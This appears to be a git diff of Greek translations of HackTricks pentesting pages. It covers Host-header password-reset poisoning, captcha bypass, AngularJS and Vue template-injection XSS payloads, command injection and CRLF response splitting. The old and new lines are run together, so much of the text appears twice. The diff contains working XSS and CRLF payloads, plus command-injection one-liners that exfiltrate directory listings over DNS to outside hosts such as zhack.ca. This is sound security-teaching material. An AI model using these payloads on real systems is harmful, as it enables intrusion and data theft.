Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι κάπως συχνό αυτά τα functions να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι συχνό το φαινόμενο ότι αυτές οι λειτουργίες θα βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του).
Αυτές είναι οι λειτουργίες που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: Αυτές είναι οι λειτουργίες που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
```php ```php

View File

@ -2,14 +2,12 @@
{{#include ./banners/hacktricks-training.md}} {{#include ./banners/hacktricks-training.md}}
### Header Host
### Κεφαλίδα Host Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λαμβάνετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Πολλές φορές το back-end εμπιστεύεται την **κεφαλίδα Host** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή της ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στην κεφαλίδα Host. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING] > [!WARNING]
> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**. > Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**.
### Boolean συνεδρίας ### Boolean συνεδρίας
@ -26,13 +24,14 @@
### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian ### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} {{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Μέθοδος TRACE ### Μέθοδος TRACE
Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών κεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών επικεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}} {{#include ./banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Captcha Bypass ## Captcha Bypass
Για να **παρακαμφθεί** το captcha κατά τη διάρκεια της **δοκιμής διακομιστή** και να αυτοματοποιηθούν οι λειτουργίες εισόδου χρηστών, μπορούν να χρησιμοποιηθούν διάφορες τεχνικές. Ο στόχος δεν είναι να υπονομευθεί η ασφάλεια αλλά να απλοποιηθεί η διαδικασία δοκιμών. Ακολουθεί μια ολοκληρωμένη λίστα στρατηγικών: Για να **παρακαμφθεί** το captcha κατά τη διάρκεια **δοκιμών διακομιστή** και να αυτοματοποιηθούν οι λειτουργίες εισόδου χρηστών, μπορούν να χρησιμοποιηθούν διάφορες τεχνικές. Ο στόχος δεν είναι να υπονομευθεί η ασφάλεια αλλά να απλοποιηθεί η διαδικασία δοκιμών. Ακολουθεί μια ολοκληρωμένη λίστα στρατηγικών:
1. **Manipulation Παραμέτρων**: 1. **Manipulation Παραμέτρων**:
- **Παράλειψη της Παράμετρου Captcha**: Αποφύγετε την αποστολή της παραμέτρου captcha. Πειραματιστείτε με την αλλαγή της μεθόδου HTTP από POST σε GET ή άλλες ρήτρες, και την τροποποίηση της μορφής δεδομένων, όπως η εναλλαγή μεταξύ δεδομένων φόρμας και JSON. - **Παράλειψη της Παράμετρου Captcha**: Αποφύγετε την αποστολή της παραμέτρου captcha. Πειραματιστείτε με την αλλαγή της μεθόδου HTTP από POST σε GET ή άλλες ρήτρες, και την τροποποίηση της μορφής δεδομένων, όπως η εναλλαγή μεταξύ δεδομένων φόρμας και JSON.
@ -17,7 +17,7 @@
3. **Αυτοματοποίηση και Αναγνώριση**: 3. **Αυτοματοποίηση και Αναγνώριση**:
- **Μαθηματικά Captchas**: Εάν το captcha περιλαμβάνει μαθηματικές πράξεις, αυτοματοποιήστε τη διαδικασία υπολογισμού. - **Μαθηματικά Captchas**: Εάν το captcha περιλαμβάνει μαθηματικές πράξεις, αυτοματοποιήστε τη διαδικασία υπολογισμού.
- **Αναγνώριση Εικόνας**: - **Αναγνώριση Εικόνας**:
- Για captchas που απαιτούν την ανάγνωση χαρακτήρων από μια εικόνα, προσδιορίστε χειροκίνητα ή προγραμματισμένα τον συνολικό αριθμό μοναδικών εικόνων. Εάν το σύνολο είναι περιορισμένο, μπορεί να αναγνωρίσετε κάθε εικόνα με το MD5 hash της. - Για captchas που απαιτούν ανάγνωση χαρακτήρων από μια εικόνα, προσδιορίστε χειροκίνητα ή προγραμματισμένα τον συνολικό αριθμό μοναδικών εικόνων. Εάν το σύνολο είναι περιορισμένο, μπορεί να αναγνωρίσετε κάθε εικόνα με το MD5 hash της.
- Χρησιμοποιήστε εργαλεία Αναγνώρισης Οπτικών Χαρακτήρων (OCR) όπως το [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) για να αυτοματοποιήσετε την ανάγνωση χαρακτήρων από εικόνες. - Χρησιμοποιήστε εργαλεία Αναγνώρισης Οπτικών Χαρακτήρων (OCR) όπως το [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) για να αυτοματοποιήσετε την ανάγνωση χαρακτήρων από εικόνες.
4. **Επιπλέον Τεχνικές**: 4. **Επιπλέον Τεχνικές**:
- **Δοκιμή Περιορισμού Ρυθμού**: Ελέγξτε αν η εφαρμογή περιορίζει τον αριθμό προσπαθειών ή υποβολών σε μια δεδομένη χρονική περίοδο και αν αυτός ο περιορισμός μπορεί να παρακαμφθεί ή να επαναρυθμιστεί. - **Δοκιμή Περιορισμού Ρυθμού**: Ελέγξτε αν η εφαρμογή περιορίζει τον αριθμό προσπαθειών ή υποβολών σε μια δεδομένη χρονική περίοδο και αν αυτός ο περιορισμός μπορεί να παρακαμφθεί ή να επαναρυθμιστεί.
@ -26,12 +26,14 @@
- **Manipulation User-Agent και Επικεφαλίδων**: Αλλάξτε τον User-Agent και άλλες επικεφαλίδες αιτήματος για να μιμηθείτε διαφορετικούς περιηγητές ή συσκευές. - **Manipulation User-Agent και Επικεφαλίδων**: Αλλάξτε τον User-Agent και άλλες επικεφαλίδες αιτήματος για να μιμηθείτε διαφορετικούς περιηγητές ή συσκευές.
- **Ανάλυση Audio Captcha**: Εάν είναι διαθέσιμη μια επιλογή audio captcha, χρησιμοποιήστε υπηρεσίες μετατροπής ομιλίας σε κείμενο για να ερμηνεύσετε και να λύσετε το captcha. - **Ανάλυση Audio Captcha**: Εάν είναι διαθέσιμη μια επιλογή audio captcha, χρησιμοποιήστε υπηρεσίες μετατροπής ομιλίας σε κείμενο για να ερμηνεύσετε και να λύσετε το captcha.
## Online Services to solve captchas ## Online Υπηρεσίες για την επίλυση captchas
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) είναι μια υπηρεσία που βασίζεται σε AI και ειδικεύεται στην αυτόματη επίλυση διαφόρων τύπων captchas, ενισχύει τη συλλογή δεδομένων βοηθώντας τους προγραμματιστές να ξεπεράσουν εύκολα τις προκλήσεις captcha που συναντούν κατά τη διάρκεια του Web Scraping. Υποστηρίζει captchas όπως **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, και Cloudflare turnstile μεταξύ άλλων**. Για τους προγραμματιστές, το Capsolver προσφέρει επιλογές ενσωμάτωσης API που περιγράφονται στην [**τεκμηρίωση**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** διευκολύνοντας την ενσωμάτωση της επίλυσης captcha σε εφαρμογές. Παρέχουν επίσης επεκτάσεις περιηγητή για [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) και [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), διευκολύνοντας τη χρήση της υπηρεσίας τους απευθείας μέσα σε έναν περιηγητή. Διατίθενται διαφορετικά πακέτα τιμολόγησης για να καλύψουν ποικίλες ανάγκες, εξασφαλίζοντας ευελιξία για τους χρήστες. [**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) είναι μια υπηρεσία που βασίζεται σε AI και ειδικεύεται στην αυτόματη επίλυση διαφόρων τύπων captchas, ενισχύει τη συλλογή δεδομένων βοηθώντας τους προγραμματιστές να ξεπεράσουν εύκολα τις προκλήσεις captcha που συναντούν κατά τη διάρκεια του Web Scraping. Υποστηρίζει captchas όπως **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, και Cloudflare turnstile μεταξύ άλλων**. Για τους προγραμματιστές, το Capsolver προσφέρει επιλογές ενσωμάτωσης API που περιγράφονται στην [**τεκμηρίωση**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** διευκολύνοντας την ενσωμάτωση της επίλυσης captcha σε εφαρμογές. Παρέχουν επίσης επεκτάσεις περιηγητή για [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) και [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), διευκολύνοντας τη χρήση της υπηρεσίας τους απευθείας μέσα σε έναν περιηγητή. Διατίθενται διαφορετικά πακέτα τιμολόγησης για να καλύψουν ποικίλες ανάγκες, εξασφαλίζοντας ευελιξία για τους χρήστες.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} {{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@
Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο JavaScript framework που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως directives, ένα αξιοσημείωτο είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες. Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο JavaScript framework που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως directives, ένα αξιοσημείωτο είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας: Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελεστεί αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί JavaScript κώδικας:
```javascript ```javascript
{{$on.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
@ -23,15 +23,14 @@
``` ```
Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας σε **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στην [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας σε **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στην [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION] > [!CAUTION] > [**Η Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `<input ng-focus=$event.view.alert('XSS')>` θα πρέπει να λειτουργεί.
> [**Η Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `<input ng-focus=$event.view.alert('XSS')>` θα πρέπει να λειτουργεί.
## VueJS ## VueJS
Μπορείτε να βρείτε μια **ευάλωτη υλοποίηση Vue** στο [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Μπορείτε να βρείτε μια **ευάλωτη υλοποίηση Vue** στο [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Λειτουργικό payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>) Λειτουργικό payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
Και ο **κώδικας πηγής** του ευάλωτου παραδείγματος εδώ: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) Και ο **πηγαίος κώδικας** του ευάλωτου παραδείγματος εδώ: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup ```markup
<!-- Google Research - Vue.js--> <!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div> "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Λίστα Ανίχνευσης Brute-Force** ## **Λίστα Ανίχνευσης Brute-Force**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Τι είναι η εκτέλεση εντολών; ## Τι είναι η εκτέλεση εντολών;
Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο πάνω στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα. Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο πάνω στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
``` ```
### **Περιορισμοί** Bypasses ### **Περιορισμοί** Bypasses
Αν προσπαθείτε να εκτελέσετε **τυχαίες εντολές μέσα σε μια μηχανή linux** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:** If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
{{#ref}} {{#ref}}
../linux-hardening/bypass-bash-restrictions/ ../linux-hardening/bypass-bash-restrictions/
@ -100,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων βάσει DNS: Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων με βάση το DNS:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## Λίστα Ανίχνευσης Brute-Force ## Λίστα Ανίχνευσης Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Αναφορές ## Αναφορές

View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
### CRLF ### CRLF
Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), γνωστοί συλλογικά ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS. Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), γνωστοί συλλογικά ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS.
@ -24,20 +22,20 @@
``` ```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
``` ```
Εδώ, `%0d` και `%0a` αντιπροσωπεύουν τις URL-κωδικοποιημένες μορφές του CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά: Εδώ, `%0d` και `%0a` αντιπροσωπεύουν τις μορφές URL-encoded των CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά:
``` ```
IP - Time - Visited Path IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home& 123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
``` ```
Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται ότι ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή) εκτέλεσε τις ενέργειες. Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με `%0d%0a` ως μία μόνο παράμετρο, ενώ η παράμετρος `restrictedaction` αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: `/index.php?page=home&restrictedaction=edit` Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται σαν να εκτέλεσε τις ενέργειες ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή). Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με `%0d%0a` ως μία μόνο παράμετρο, ενώ η παράμετρος `restrictedaction` αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting ### HTTP Response Splitting
#### Περιγραφή #### Περιγραφή
Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των απαντήσεων HTTP. Αυτή η δομή διαχωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειριστεί αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειρισμού μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, ιδίως Cross-site Scripting (XSS). Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των HTTP απαντήσεων. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειριστεί αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειρισμού μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, κυρίως Cross-site Scripting (XSS).
#### XSS μέσω HTTP Response Splitting #### XSS μέσω HTTP Response Splitting
@ -72,19 +70,21 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
``` ```
Δείτε περισσότερα παραδείγματα στο: Δείτε περισσότερα παραδείγματα στο:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} {{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP Header Injection ### HTTP Header Injection
Η HTTP Header Injection, που συχνά εκμεταλλεύεται μέσω της CRLF (Carriage Return and Line Feed) injection, επιτρέπει στους επιτιθέμενους να εισάγουν HTTP headers. Αυτό μπορεί να υπονομεύσει μηχανισμούς ασφαλείας όπως οι XSS (Cross-Site Scripting) φίλτρα ή η SOP (Same-Origin Policy), ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα, όπως τα CSRF tokens, ή τη χειραγώγηση των συνεδριών χρηστών μέσω της τοποθέτησης cookies. Η HTTP Header Injection, που συχνά εκμεταλλεύεται μέσω της CRLF (Carriage Return and Line Feed) injection, επιτρέπει στους επιτιθέμενους να εισάγουν HTTP headers. Αυτό μπορεί να υπονομεύσει μηχανισμούς ασφαλείας όπως τα φίλτρα XSS (Cross-Site Scripting) ή την SOP (Same-Origin Policy), ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα, όπως τα CSRF tokens, ή τη χειραγώγηση των συνεδριών χρηστών μέσω της τοποθέτησης cookies.
#### Exploiting CORS via HTTP Header Injection #### Εκμετάλλευση CORS μέσω HTTP Header Injection
Ένας επιτιθέμενος μπορεί να εισάγει HTTP headers για να ενεργοποιήσει το CORS (Cross-Origin Resource Sharing), παρακάμπτοντας τους περιορισμούς που επιβάλλει η SOP. Αυτή η παραβίαση επιτρέπει σε σενάρια από κακόβουλες προελεύσεις να αλληλεπιδρούν με πόρους από διαφορετική προέλευση, ενδεχομένως αποκτώντας πρόσβαση σε προστατευμένα δεδομένα. Ένας επιτιθέμενος μπορεί να εισάγει HTTP headers για να ενεργοποιήσει το CORS (Cross-Origin Resource Sharing), παρακάμπτοντας τους περιορισμούς που επιβάλλει η SOP. Αυτή η παραβίαση επιτρέπει σε σενάρια από κακόβουλες προελεύσεις να αλληλεπιδρούν με πόρους από διαφορετική προέλευση, ενδεχομένως αποκτώντας πρόσβαση σε προστατευμένα δεδομένα.
